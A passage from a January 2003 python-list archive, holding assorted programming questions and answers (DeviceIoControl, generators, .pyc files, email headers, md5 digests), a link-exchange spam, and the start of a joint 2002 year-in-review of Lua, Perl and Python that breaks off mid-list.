Tim Roberts <timr at probo.com> wrote in message news:<ack71v4i13bucjdm71ec9j58suog3hn9p2 at 4ax.com>...
> yaipa at yahoo.com (yaipa h.) wrote:
> >
> > Good Cheer and Happy Holidays. In Mark Hammond's win32 toolkit there is
> >a device I/O control method (win32file.DeviceIoControl). Has anyone had
> >a chance to use it? If so could you provide an example of it in action.
> >
> >Also, the parameter 'dwIoControlCode' is said to use an IO control code,
> >but none are listed and this library does not hold to the MFC library's
> >naming convention so no chance on looking it up. :(
> 
> Did you try it?  DeviceIoControl most certainly IS part of the Win32 API,
> as are all of the methods in win32file.  Look it up in MSDN.
> 
> BTW, this has nothing to do with MFC.  It's Win32.
> 
> >Finally, for the big points. Anyone belive that I will be able to use
> >any of the 'IOCTL_*' enumerated values from the MFC toolkit with the 
> >win32file.DeviceIoControl library method?
> 
> Absolutely.  Any ioctl you find in the Win32 include files can be used with
> DeviceIoControl, assuming you can figure out which device to send them to,
> and assuming you expand the macro to get a hex value for the ioctl.  The
> first parameter to DeviceIoControl is the file handle of the driver that
> will handle the ioctl.
> 
> >'IOCTL_DISK_GET_DRIVE_GEOMETRY' Operation
> >-------------------------------------------
> >Returns information about the physical disk's geometry 
> >(media type, number of cylinders, tracks per cylinder, 
> >sectors per track, and bytes per sector).
> 
> That's:
> 
> #define IOCTL_DISK_GET_DRIVE_GEOMETRY   CTL_CODE(IOCTL_DISK_BASE, 0x0000,
> METHOD_BUFFERED, FILE_ANY_ACCESS)
> 
> Which should be 0x00070000.
> 
> >win32file Function Header
> >-------------------------
> >string = DeviceIoControl(hFile, dwIoControlCode , data , readSize , ol )
> >
> >Call DeviceIoControl Parameters
> >-------------------------------
> >hFile           : int
> > # Handle to the file
> >dwIoControlCode : int 
> > # IOControl Code to use.
> >data            : string
> > # The data to write.
> >readSize        : int
> > # Size of the buffer to create for the read.
> >ol=None         : PyOVERLAPPED
> > # An overlapped structure
> 
> So, you'd need to call win32file.CreateFile to open the special file
> \\DISK0 and get a handle.  Then you can call:
> 
> IOCTL_DISK_GET_DRIVE_GEOMETRY = 0x00070000
> handle = ...CreateFile icky details omitted...
> s = DeviceIoControl(handle, IOCTL_DISK_GET_DRIVE_GEOMETRY, 0, 0, 0)
> 
> That ioctl doesn't take any input data, so you don't have to pass anything.
> The information comes back to you in the string, which you will have to
> parse with something like the struct module.



From skip at pobox.com  Tue Jan 14 12:27:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 11:27:48 -0600
Subject: OT: spam filtering idea
In-Reply-To: <7xznq3ps4s.fsf@ruckus.brouhaha.com>
References: <mailman.1042490665.8620.python-list@python.org>
        <b0138l$5t1$1@verence.demon.co.uk>
        <mailman.1042560986.4792.python-list@python.org>
        <7xznq3ps4s.fsf@ruckus.brouhaha.com>
Message-ID: <15908.18580.140271.59489@montanaro.dyndns.org>

    Paul> Does spambayes look at the charset?  

Yup:

    'charset:us-ascii': 0.17

Skip




From mertz at gnosis.cx  Tue Jan  7 16:22:42 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Tue, 07 Jan 2003 16:22:42 -0500
Subject: Python vs .Net
Message-ID: <iU0G+kKkXAwC092yn@gnosis.cx>         

I've tried posting (via Python list) several times, to no effect.  Not
that this message is all that important, but does anyone know what sort
of problem is going on with c.l.py, python-list, or the relation between
them?

-------- Forwarded message --------
"Etienne Charland" <mystery at golden.net> wrote previously:
|Some work is done to make .NET cross-platform: MONO
|www.go-mono.com

I do hope everyone knows that it is not a question of IF, but WHEN,
Microsoft will decide to sue MONO out of existence.

The whole thing smells of usual MS dirty tricks... they have released
just enough of API details to allow Ximian to waste time on implementing
MONO.  But MS has kept many parts of the API as trade-secrets, and has
wrapped much of the documented API in patents.

MS's goal here is to maintain an official face that ".NET" is
cross-platform and open.  But as soon as MONO has any success at all, MS
*will* pour millions of dollars into lawyers to claim patent violations
in MONO (and maybe trademark, copyright, trade-secret) issues.  Those
lawyers *will* get restraining orders against the distribution of MONO,
effectively killing the project.  Of course semi-underground copies of
MONO will still exist, but not any effective development project; and if
Ximian isn't outright bankrupted, they might eventually win in court,
many years after the APIs have gone somewhere else altogether.

Yours, Lulu (a soothsayer)...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From altis at semi-retired.com  Mon Jan 20 23:15:10 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Mon, 20 Jan 2003 20:15:10 -0800
Subject: python + wxPython
References: <mailman.1043118157.17497.python-list@python.org>
Message-ID: <mO3X9.460$k43.91047@news.uswest.net>

You don't want to uninstall Python. wxPython is a package and it will get
installed in the Python site-packages directory. The only thing you need to
make sure of is that your version of Python and wxPython match, so if you
are using Python 2.2, you want the wxPython 2.4.0.1 for Py22.

ka

"Victor" <victor at argilent.com> wrote in message
news:mailman.1043118157.17497.python-list at python.org...
> I have intalled the regular python distribution for windows, but I want
> to try out pyCrust, and it comes with wxPython, do I have to uninstall
> python and then install wxpython? If I install wxpython over the regular
> python will there be problems?
>
> - Vic





From cnetzer at mail.arc.nasa.gov  Tue Jan 28 17:43:49 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 28 Jan 2003 14:43:49 -0800
Subject: Which exception to use?
In-Reply-To: <1043788144.6329.60.camel@refugeeMedia>
References: <b16lui$j3s$1@bob.news.rcn.net> <200301282043.MAA08755@mail.arc.nasa.gov> <1043788144.6329.60.camel@refugeeMedia>
Message-ID: <200301282243.OAA21575@mail.arc.nasa.gov>

On Tuesday 28 January 2003 13:09, Mongryong wrote:
> For 'library API', it's probably not a good idea to be checking the
> length of 'sys.argv'.  If you really need to check the length of
> 'some tuple' parameter, you might be better to use 'assert' instead.
>
> An exception should be used for cases where an 'expected' or
> 'undefine' runtime error occurs.  ie. Network connection failure.
>
> Assertions should be used for dumb programmer errors that would be
> trace-able through testing.

Well, actually, I define an arg_assert() that raises ArgumentError, and 
use that specifically to "assert" things about function/method 
arguments (ie, basically a pre-assertion).  What I like about that over 
using assert directly, is that I can use assert to verify internal 
state, and have a different error raised.  I don't (necessarily) want 
someone tryin to catch assertion errors that indicate that the software 
is in a bad state (ie. a bug), when they really only want to look out 
for API usage errors.

So, disregarding the sys.argv example (which was a followup from 
someone else's different example), I might choose to do something odd, 
like this (I apologize for the lameness of this example):


class ArgumentError( Exception ):
    pass

def arg_assert( predicate, msg="" ):
    if not predicate:
        raise ArgumentError, msg

# A silly illustrative example
class Spam:
    def __init__( self ):
        self._some_interval_variable = <some positive number>

    def eggs( self, x ):
        # Pretend we only will accept non-negative numbers
        arg_assert( x > 0, "argument to 'eggs()' must not be "
                           "negative." )

        # Could also test for numbers, strings convertable to float,
        # etc.

        # Now, let's assume there was an internal error,
        # then this assertion should catch it.
        assert self._some_internal_variable > 0

        # if not, do the work.
        <blah blah blah>

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From aleax at aleax.it  Fri Jan 31 17:06:43 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 22:06:43 GMT
Subject: Timed events
References: <pXB_9.143435$GF.37039781@twister.columbus.rr.com>
Message-ID: <TrC_9.111148$0v.3218447@news1.tin.it>

Sam Marrocco wrote:

> I'm trying to Python a script that will perform a function every few
> seconds. Is there a particularly efficient way to do this that won't hog
> processor time?

Module sched in the standard Python library is quite simple and
suitable for this purpose.  See:
    http://www.python.org/doc/current/lib/module-sched.html
for an example.  All you need is for the scheduled function
to re-schedule its own next call as appropriate each time.


Alex




From skip at pobox.com  Thu Jan  2 20:29:05 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 19:29:05 -0600
Subject: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <av2mga$poe$2@mawar.singnet.com.sg>
References: <3e145e67_1@goliath.newsgroups.com>
        <aJWcnRWzQtc7E4mjXTWcqA@comcast.com>
        <3e14a219$1_1@goliath.newsgroups.com>
        <mailman.1041541385.8483.python-list@python.org>
        <av2mga$poe$2@mawar.singnet.com.sg>
Message-ID: <15892.59233.732916.573150@montanaro.dyndns.org>

    Ng> According to Skip Montanaro  <skip at pobox.com>:
    Brad> ... as I said in my previous post, I'm looking for test patterns
    Brad> suiteable for database backed "objects".
    >> 
    >> The largest problem I see to testing SQL database store/retrieve is
    >> that to be confident in your test results you would have to actually
    >> execute SQL,

    Ng> Do you not trust your SQL engine to DTRT?

That's not it at all.  I think the OP was hoping to be able to test Python
code which executes SQL in the absence of an actual SQL server.  I may just
have put words into his mouth though.  

Skip




From pyth at devel.trillke.net  Wed Jan 29 18:55:51 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 00:55:51 +0100
Subject: best way to do some simple tasks
In-Reply-To: <c42e062e.0301291531.6a656e4@posting.google.com>; from elechak@bigfoot.com on Wed, Jan 29, 2003 at 03:31:59PM -0800
References: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <20030130005551.M10804@prim.han.de>

Erik Lechak wrote:
> Hello all,
> 
> I am transitioning from perl to python.  I find myself trying to do
> many things in a perlish way.  Perl made many common tasks such as
> string manipulations easy (in a perlish sort of way).  So I was
> wondering if someone could suggest the "pythonish" way of doing these
> things.  I have read tons of documentation and can do all of the
> following tasks, but my code does not look "professional".
> 
> 
> 1) String interpolation of lists and dictionaries
>    What is the correct and best way to do this?
>    x =[1,2,3,4]
>    print "%(x[2])i blah" % vars() # <- does not work

     print "%d blah" % x[2]

if you want to work with named references:

    x2 = x[2]
    print "%(x2)d blah" % locals()

> 2) Perform a method on each element of an array
>    a= ["  hello  ",  "  there  "]
>    
>    how do I use the string's strip() method on each element of the
> list?

    map(str.strip, a)

You can use this pattern whenever a method doesn't need additional
arguments (except the first 'self' instance parameter).
    
> 3) What is the best way to do this?
> 
>    a=[1,2,3]
>    b=[1,1,1]
>    
>    how do I get c=a+b (c=[2,3,4])?

    [i+j for i,j in zip(a,b)]

 
>    If I wanted to use reduce(), how do I shuffle the lists? 

I don't see an obvious way to use reduce here. sorry.

> 4) Why does this work this way?
>    d=[1,2,3,4,5]
>    for h in d:
>       h+=1

because the 'for loop' rebinds the local name 'h' every
time it iterates to the next value.  Any rebinding 'h+=1'
in the loop-body is meaningless for the next iteration step. 
It's especially misleading if you think of 'h' as a
direct reference to memory.

>    Is there a python reason why h is a copy not a reference to the
> element in the list?

'h' is a name and it is bound either locally or globally
to some object.  Assignment modifies the namespace binding
but not the object itself.  Moreover, Integers, Strings and tuples
are immutable objects and thus can't be modified, ever.

HTH,

    holger




From ykingma at accessforall.nl  Sun Jan 12 09:57:37 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Sun, 12 Jan 2003 15:57:37 +0100
Subject: make objetcs 'commit suicide'
References: <avrv71$m2q$2@news-reader10.wanadoo.fr>
Message-ID: <3e2186ed$0$137$e4fe514c@dreader5.news.xs4all.nl>

polux wrote:

> class a:
> def go(self):
> self.__del__            # or del(self)

I suppose you mean:

    def go(self):
        self.__del__()

?

> 
> 
> and then
> b=a()
> b.go()
> 
> 
> b is not destructed

Since b is defined at module level

del b

instead of b.go() might be more appropriate.
Note that "del x"  does not call x.__del__(),
it only removes the reference named x from the namespace.
In case the object referred to has it's reference count
go to zero because of the del statement, the __del__
method of the object _may_ be called.

Regards,
Ype


-- 
email at xs4all.nl



From rra42 at yahoo.co.uk  Mon Jan 13 11:01:08 2003
From: rra42 at yahoo.co.uk (rra42)
Date: Mon, 13 Jan 2003 16:01:08 +0000
Subject: PyUNO
Message-ID: <3E22E2C4.8070204@yahoo.co.uk>

Does anyone know the present location of the Python/UNO bridge for 
OpenOffice?

The last published link i can find is http://polysorbate.org/?work/pyuno
but nothing there.

Best wishes,

Rob

________________________________________________________________________
Missed your favourite TV serial last night? Try the new, Yahoo! TV.
       visit http://in.tv.yahoo.com




From 2002 at weholt.org  Tue Jan  7 14:32:30 2003
From: 2002 at weholt.org (Thomas Weholt)
Date: Tue, 7 Jan 2003 20:32:30 +0100
Subject: Unicode error: ASCII encoding error. Ordinal not in range(128) ???
Message-ID: <%WFS9.8062$CG6.157588@news4.e.nsc.no>

I'm working with RSS/RDF-feeds and get the above mentioned error. How can I
detect and/or avoid this error, when parsing/working with strings??

Thomas





From ark at gmx.net  Tue Jan 28 18:12:26 2003
From: ark at gmx.net (Arne Koewing)
Date: Wed, 29 Jan 2003 00:12:26 +0100
Subject: .pyc files
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net> <3E35F105.27C32244@engcorp.com>
 <_anZ9.1126$8p1.805@nwrddc04.gnilink.net> <3E368D1A.FF61316A@engcorp.com>
 <HEDZ9.4327$va6.27627700@news-text.cableinet.net>
Message-ID: <b172qk$58v@news.Informatik.Uni-Oldenburg.DE>

"Newt" <newt_e at blueyonder.co.uk> writes:

> "Peter Hansen" <peter at engcorp.com> wrote in message

> As suggested, I want to compile from within IDE so that my .pyc file gets
> updated.
> Perhaps there is an alternative approach though.
> Is it possible to force an import to reproduce the .pyc file? e.g. if I have
> a file newt_i.py, which is imported by newt.py, then
> when I first run it newt_i.pyc get 'compiled' to newt_i.pyc. If I then
> change newt_i.py, and run newt.py, then it will still import the existing
> newt_i.pyc, not a .pyc version of the new file. Is this correct?
>
a .pyc file ill only be used if (and only if) the timestamps 
(and sizes?) of the .pyc file and the .py file are *exactly* the
same...



From jbarham at jbarham.com  Tue Jan 21 20:38:19 2003
From: jbarham at jbarham.com (John E. Barham)
Date: Wed, 22 Jan 2003 01:38:19 GMT
Subject: Rewriting mail headers
References: <slrnb2rqgj.1ef.sna@localhost.localdomain> <bsmX9.84357$sV3.3656607@news3.calgary.shaw.ca>
Message-ID: <fCmX9.83944$Yo4.4684235@news1.calgary.shaw.ca>

>>> import email
>>> msg = email.message_from_file(open("test.eml"))
>>> msg["subject"] = "New subject"
>>> print msg.as_string()

Sorry, I spoke too soon.

If you're running 2.2.2, replace
>>> msg["subject"] = "New subject"
with (note the case)
>>> msg.replace_header("Subject", "New subject")

Otherwise, you'll have to do
>>> del msg["subject"]
before
>>> msg["subject"] = "New subject"

    John





From pschmidt at omnimn.com  Fri Jan 24 08:10:09 2003
From: pschmidt at omnimn.com (Phil Schmidt)
Date: 24 Jan 2003 05:10:09 -0800
Subject: Q: Linear constrained quadratic programming code in python?
References: <3E306DEF.1000004@mailzone.com>
Message-ID: <69413f9.0301240510.2d08b29@posting.google.com>

Dredging the brain here - Algebraic Riccatti Equation?

Anyway, try MatPy or SciPy. It might be there.

Claudius Schn?rr <schnoerr at mailzone.com> wrote in message news:<3E306DEF.1000004 at mailzone.com>...
> Hello,
> 
> I'm looking for optimization code in python for a problem like this:
> 
> min( 0.5 x^T Q x + p^T x )
> 
> subject to
> 
> a_i^T x <= b_i, i \in I   (inequality constraints)
> a_i^T x = b_i, i \in E    (equality constraints)
> 
> c_i <= x <= c_s
> 
> where
> 
> Q may be a positive definite Matrix,
> a_i, b_i are vectors,
> c_i and c_s are bounding vectors,
> and x is the vector to minimize the problem.
> 
> Has anybody code for this in python?
> 
> Please send also a copy to
> 
>      schnoerr at mailzone.com
> 
> Thank you very much in advance,
> 
> Claudius



From boethius at techie.com  Sat Jan  4 08:34:50 2003
From: boethius at techie.com (Boethius)
Date: 4 Jan 2003 05:34:50 -0800
Subject: Trouble with generator
Message-ID: <67446a0a.0301040534.6dfa4cfc@posting.google.com>

I'm getting a StopIteration exception with this generator:

--------------------------------------------------------
    def _linkGenerator(self, baseUrl):

        counter = 1
        maxPages = 4

        if baseUrl[0:7] == 'http://':
            url = baseUrl[7:]
        else:
            url = baseUrl

        
        if counter < maxPages:
            yield string.join(('http://www.google.com/search?q=link:',
                               url,
                               '&hl=es&lr=&ie=UTF-8&filter=0',
                               '&start=',
                               str((counter - 1) * 10)), '')
        else:
            yield None

        counter += 1
----------------------------------------------

When I call the next() method for the second time, I get this error:

>>> gen = g._linkGenerator( 'http://www.easyjob.net')
>>> gen.next()
'http://www.google.com/search?q=link:www.easyjob.net&hl=es&lr=&ie=UTF-8&filter=0&start=0'
>>> gen.next()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
StopIteration

What am I doing wrong? O:-)

TIA



From p-abel at t-online.de  Fri Jan 31 02:51:02 2003
From: p-abel at t-online.de (Peter Abel)
Date: 30 Jan 2003 23:51:02 -0800
Subject: converting data to hex
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com>
Message-ID: <13a533e8.0301302351.132f1852@posting.google.com>

Mark Harrison <mh at pixar.com> wrote in message news:<Q0j_9.1511$Ir1.259 at newssvr16.news.prodigy.com>...
> warning: newbie alert!
> 
> I've got an md5 digest and would like to print it as
> a hex value, but I can't get the individual hex value
> formatted.  Can someone loan me a clue?
> 
> import md5
> d = md5.new("foo")
> for x in d.digest():
>     print "a", ("%02x" % x)  ## how do I convert x to int???
> 
> Many TIA!
> Mark

>>> md5_string='788acf0f5ce8813cbdbddf510b54fb6f'
>>> eval('0x'+md5_string)
160228096136631806570404481192208694127L
>>> 

Regards
Peter



From phr-n2003b at NOSPAMnightsong.com  Mon Jan 27 21:12:10 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 27 Jan 2003 18:12:10 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043717821.19150.python-list@python.org>
Message-ID: <7x3cnexbt1.fsf@ruckus.brouhaha.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
> You are probably SOL on getting it anywhere near 2.3 at this stage, but 
> it still seems to be a worthy project.  I'll look at it tonight; I have 
> Java cryptography API experience, which may be of help in evaluating 
> your proposal.

Thanks.  I think there's still time to get it in, but not much.  And
I've never written a nontrivial C module before, so I hope I don't
take too long.

Note that the file I put up had a number of bugs; I've updated it
several times today.  If you got it as soon as you saw the original
post (or the announcement on the python-crypto list), please get the
latest version.



From John at website-hosting-web.com  Sat Jan 25 07:22:34 2003
From: John at website-hosting-web.com (John)
Date: 25 Jan 2003 12:22:34 -0000
Subject: Reciprocal link request
Message-ID: <20030125122234.40767.qmail@anaconda.acceleratedweb.net>

Dear webmaster,

I am contacting you to kindly request a reciprocal link from your website.

Your link: http://www.python.org 
has been added into the following url of website-hosting-web.com:
http://www.website-hosting-web.com/Miscellaneous_Lists/index57.shtml


Should you decide to include my website in your links section, please use the following information:

URL: http://www.website-hosting-web.com
Title : Website Hosting Web - cheap web hosting and dedicated server hosting, affordable website hosting and professional web hosting.
Description: Website Hosting Web- Provide you choices of Web hosting services, affordable web hosting and dedicated hosting for all your business and ecommerce needs, cheap website hosting and professional web hosting.

HTML code
<a href="http://www.website-hosting-web.com/">Website Hosting Web - cheap web hosting and dedicated server hosting, affordable website hosting and professional web hosting.</a><br>
Website Hosting Web- Provide you choices of Web hosting services, affordable web hosting and dedicated hosting for all your business and ecommerce needs, cheap website hosting and professional web hosting.


Thanks.
webmaster at website-hosting-web.com




From cnetzer at mail.arc.nasa.gov  Thu Jan 16 19:56:43 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 16 Jan 2003 16:56:43 -0800
Subject: iterating in reverse
In-Reply-To: <f57664b9.0301161546.37c85159@posting.google.com>
References: <f57664b9.0301161546.37c85159@posting.google.com>
Message-ID: <200301170056.QAA08471@mail.arc.nasa.gov>

On Thursday 16 January 2003 15:46, Jonathan P. wrote:
>  Is there an elegant and
> efficient way to iterate through x in
> reverse without having to create a reversed
> copy of it (i.e. y=x[:]; y.reverse())?

In Python 2.2.2, you can create a reverse iterator (it may even be 
included.. anyone?).  See my simple implementation below.

FWIW. list.reverse() is often not too bad since it only has to do the 
work of reversing the list indices in memory, not copying the actual 
objects themselves.  Iterating backwards does save an O(N) operation, 
but for small lists, list.reverse() is likely faster.

---------------------------------
from __future__ import generators

def reverse_iter( seq ):
    i = 0
    n = len( seq )
    while i < n:
        j = -(i + 1)
        yield seq[ j ]
        i += 1

for c in reverse_iter( 'abcdefg' ):
    print c,
print


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From langyear02 at vendian.org  Tue Jan 14 10:48:25 2003
From: langyear02 at vendian.org (Mitchell N Charity et al)
Date: Tue, 14 Jan 2003 10:48:25 -0500
Subject: The Year In Scripting Languages  Lua/Perl/Python/Ruby/Tcl 2002
Message-ID: <200301141548.h0EFmP703116@vendian.org>

This is a joint review of 2002 for the programming languages
Lua, Perl, Python, Ruby, and Tcl.

It was a cooperative effort by people from the five communities.
An HTML version is available at http://www.vendian.org/language_year/ .

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Lua in 2002

2002 was a very busy year for Lua [1].  A major new version (5.0) was
discussed, planned, implemented, and released in alpha and beta
versions.  We also saw a marked increase of the size and participation
of the Lua community. Details on this and other events that happened
to Lua in 2002 follow.

* Work on a new version
  The plans for a new version (4.1) and their discussion in the
  mailing list [2], which had officially started with the release of
  an alpha version in July 2001 and several work versions since then,
  finally converged to a comprehensive mature proposal for Lua 5.0 in
  April. An alpha version was released in August and a beta version
  was released on December; the final version of Lua 5.0 expected to
  be released by February 2003. Lua 5.0 is an important step in the
  evolution of Lua (hence the leap from 4.0 directly to 5.0). Lua 5.0
  includes several new features, such as lexical scoping, Lua
  coroutines and support for external multithreading and coroutines,
  metatables and metamethods, fine control of global name resolution,
  tail calls, fast register-based virtual machine, safe
  garbage-collector metamethods, new error handling protocol, and
  more. All this is of course done respecting our design goals:
  simplicity, efficiency, portability, and low embedding cost.

* Choosing a new license
  Starting with Lua 5.0, Lua will be released under the MIT license
  [3]. Up to now we had our own license [4], very similar to but not
  identical to the zlib license [5] and others. The community pointed
  to us that the license was sometimes a source of confusion and
  misunderstanding. So we decided that having a standard license would
  clear the issue and allow more people, specially in the industry, to
  choose Lua without being concerned with legal matters.

* Community participation
  The active participation of the Lua community -- both in the mailing
  list and in the lua-users wiki [6] -- was an important ingredient in
  making all this happen.  The community is also organizing itself.
  Since May, it maintains a web interface to the mailing list archive
  [7] that can be searched and also referred to in lua-l: postings now
  have a permanent link and this helps to answer recurring
  questions. This web interface is much faster than the one at Yahoo
  Groups that exists since March 1999 (and also has no annoying
  ads). A newsgroup interface to the mailing list [8] was created at
  gname.org in July by their own initiative.

  The mailing list remains the premier forum for discussing Lua. It
  has now over 700 subscribers (435 direct subscribers plus 284
  registered at Yahoo Groups).  Novice and experts participate
  actively in the discussions, which are instructive and friendly.

  The wiki at lua-users also experienced a marked growth in 2002 and
  is becoming a major source of detailed technical information about
  Lua, some of it distilled and condensed from lua-l postings. Many
  people contributed new pages, corrected and expanded existing ones,
  and helped to maintain several pages moved from www.lua.org. The
  wiki also now contains the details and implementations of feature
  proposals.  As intended when it was launched, the wiki has become
  the ideal companion for the mailing list.

  A small part of the community got together in person in February, at
  a Lua Library Design Workshop [9] held at Harvard University.  The
  move in Lua 5.0 to namespaces in libraries was one consequence of
  this meeting.  The workshop also provided an opportunity to meet
  Roberto Ierusalimschy [10], Lua's chief architect.

* Lua in 2003
  2003 will bring the official release of Lua 5.0 and also probably
  Lua 5.1, at least in work stage.  Our main focus in Lua 5.1 is the
  implementation of incremental garbage collection to replace the
  current atomic mark-and-sweep. The need for this was identified by
  the community, specially those using Lua for games. We shall
  probably also see a new draft of the long-waited Lua book by
  Roberto, updated for Lua 5.

* References
   1. http://www.lua.org/
   2. http://www.lua.org/lua-l.html
   3. http://www.lua.org/license.html
   4. http://www.lua.org/copyright.html
   5. http://www.opensource.org/licenses/zlib-license.html
   6. http://lua-users.org/wiki/
   7. http://lua-users.org/lists/lua-l/
   8. http://news.gmane.org/thread.php?group=gmane.comp.lang.lua.general
   9. http://lua-users.org/wiki/LuaLibraryWorkshop
  10. http://www.lua.org/authors.html

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Perl

While 2002 was a year during which the Perl 6 design development process
grown up, Perl 5 was not left behind. A new major version, Perl 5.8.0, was
released, introducing major features.

* Perl 5.8.0 released

  Perl 5.8.0 was released after more than two years of work. Among its new
  features [1], the most important ones are a full support for Unicode, a
  new implementation of threads, a completely reworked I/O subsystem, and
  support for 64-bit architectures. This release was also a personal win
  from the point of view of the Perl developers, because it was extensively
  tested, due to a much improved test suite, and to volunteers to run it on
  a daily basis on a wide range of OSes and configurations.

  There's also more in Perl than Perl itself. Numerous projects based on
  Perl have also started or have significantly evolved. Among them, I have
  to mention at least the popular mod_perl Apache module [2] which allows
  to embed Perl into a web server.

* The Community

  The Perl community is so dynamic and well-organized that I can't choose
  where to begin. Well, the spinal nerve of this community is probably the
  Comprehensive Perl Archive Network (or CPAN [3]), central repository for
  a whole universe of Perl modules. But the community is organized among
  several axes : on Internet, you'll find an extensive set of mailing lists
  [4], newsgroups in the comp.lang.perl.* hierarchy, news and weblogs [5],
  help and idea sharing for beginners and for gurus at perlmonks [6], and
  I'm sure I'm forgetting a load of resources. There are also two
  noticeable high-quality publications : the Perl Review [7] and the Perl
  Journal [8].

  In the real world, numerous Perl users groups (known as the Perl mongers
  [9]) have succeeded in cementing this community as well as promoting the
  language. Among the factual successes are the organization of the Yet
  Another Perl Conferences [9], that will continue in 2003, and the funding
  of the Perl 6 core team through the Perl Foundation [10] (Perl 6 being
  the next major step in Perl, redesigned and reimplemented from the ground
  up).

* Perl 5 in 2003

  The development version of Perl (5.9.0) is being actively worked on, and
  development releases are to be expected, as well as a new maintenance
  release, Perl 5.8.1, aimed at fixing the most outstanding bugs discovered
  in Perl 5.8.0. Currently, it appears that those bugs pertain (quite
  logically) to the newest features : threads and Unicode. The to-do lists
  are not small, and, with the start of the Perl 6 project, Perl needs
  contributors more than ever : as a popular saying reminds us, patches are
  welcome.

  If you want to follow what's happening in the world of Perl development,
  you can read the weekly summaries of the developers' mailing lists,
  published on perl.com [11] for Perl 6 and Parrot (Parrot being the future
  Perl 6 virtual machine) and on use.perl [5] for Perl 5.

  In the process we hope to bring Perl to higher levels to maturity, and to
  have fun. At least that's how the future looks from there.

* References

   1. http://dev.perl.org/perl5/news/2002/07/18/580ann/
   2. http://perl.apache.org/
   3. http://cpan.org/
   4. http://lists.perl.org/
   5. http://use.perl.org/
   6. http://www.perlmonks.org/
   7. http://www.theperlreview.com/
   9. http://www.tpj.com/
   9. http://www.yapc.org/
  10. http://www.perl-foundation.org/
  11. http://www.perl.com/

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Python: Year in Review

The Python community spent a good part of 2002 learning how to use
new-style classes, introduced with Python 2.2, and polishing their
implementation with a couple of maintenance releases.  We also
released an alpha version of Python 2.3 on the last day of the year.

* Python 2.2 released

  The major new feature of Python 2.2, which was actually released just
  before Christmas 2001, is new-style classes.  This feature eliminates
  many of the differences between Python's builtin types (list, dict,
  &c.) and user-defined types implemented with class statements.  It
  allows programmers to subclass builtin types in Python and makes it
  easier to define new classes in C.

  New-style classes introduced many subtle differences in class
  semantics and many new features for classes, including a super
  function, class and static methods, and properties.  Backwards
  compatibility was addressed in a fairly clean way:  Both new-style
  classes and so-called "classic" classes are available in the
  interpreter via different metaclasses.  The classic metaclass is used
  unless the class inherits from the new builtin type "object" or
  explicitly declares its metaclass.

  See Guido van Rossum's essay "Unifying types and classes in Python
  2.2" for a more thorough discussion of new-style classes.
  http://www.python.org/2.2.2/descrintro.html

  There were four maintenance releases during the calendar year.  The
  currently recommended versions of Python are 2.2.2 and 2.1.3.  The
  2.2.2 release seems to be quite stable, with more than 100 bugs fixed
  since the original 2.2 release.  The 2.1.x releases this year fixed a
  few critical bugs.

* Python in 2003

  The goals for Python 2.3 are modest compared to new-style classes.
  The alpha release on Dec. 31 introduced only minor language changes,
  like a new boolean type.  Most of the improvements are to the standard
  library, including a new BerkeleyDB interface, a logging module styled
  after log4j, a family of new datetime types, a pair of set types, and
  a new random number generator (Mersenne Twister).  The module import
  mechanism was also improved, with a new set of hooks and support for
  zip archives.  

  The custom object allocator, which has been an optional, compile-time
  feature for a couple of releases, has been enabled by default for
  2.3.  It is a fast, special-purpose allocator for small blocks that
  sits on top of the platform malloc.  It saw a major overhaul to
  improve stability and performance between 2.2 and 2.3

  See Andrew Kuchling's "What's New in Python 2.3" document for more
  information about the release.
  http://www.python.org/doc/2.3a1/whatsnew/

  One reason (among many) for the more modest goals of Python 2.3 is a
  sense in the community that the language is changing too quickly.  The
  perception of a large or vocal part of the community is that
  stability, performance, and libraries will provide more benefit than
  new core language features.  When Guido proposed the addition of a
  boolean type on comp.lang.python, the thread ran on for a couple of
  weeks and 375 messages with a vigorous opposition.  It seems fair to
  observe, however, that many people believe that Python changes too
  quickly and that the new features they need are important enough to
  add anyway.

* Notable developments

  The year saw a lot of development activity in the larger Python
  community.  I've tried to include some highlights from important or
  interesting projects, but I'm sure there are omissions.

   - Boost.Python version 2, a C++ library that enables seamless
     interoperability between C++ and Python
     http://www.boost.org/libs/python/doc/

   - Chandler, Mitch Kapor's foundation announced plans to develop
     a personal information manager written in Python
     http://www.osafoundation.org/

   - Leo, an outlining editor that doubles as a programmer's editor
     and a literate programming tool
     http://sourceforge.net/projects/leo/

   - Mailman 2.1, a mailing list manager
     http://www.list.org/

   - omniORBpy 2.0, a robust high performance CORBA ORB for Python
     http://omniorb.sourceforge.net/

   - Pyrex, a specialized language for writing C extension modules
     that extends Python with C datatype declarations
     http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/

   - Psyco 0.4.1, a specializing compiler for Python 
     http://psyco.sourceforge.net/

   - reStructuredText, the long-awaited markup language for Python
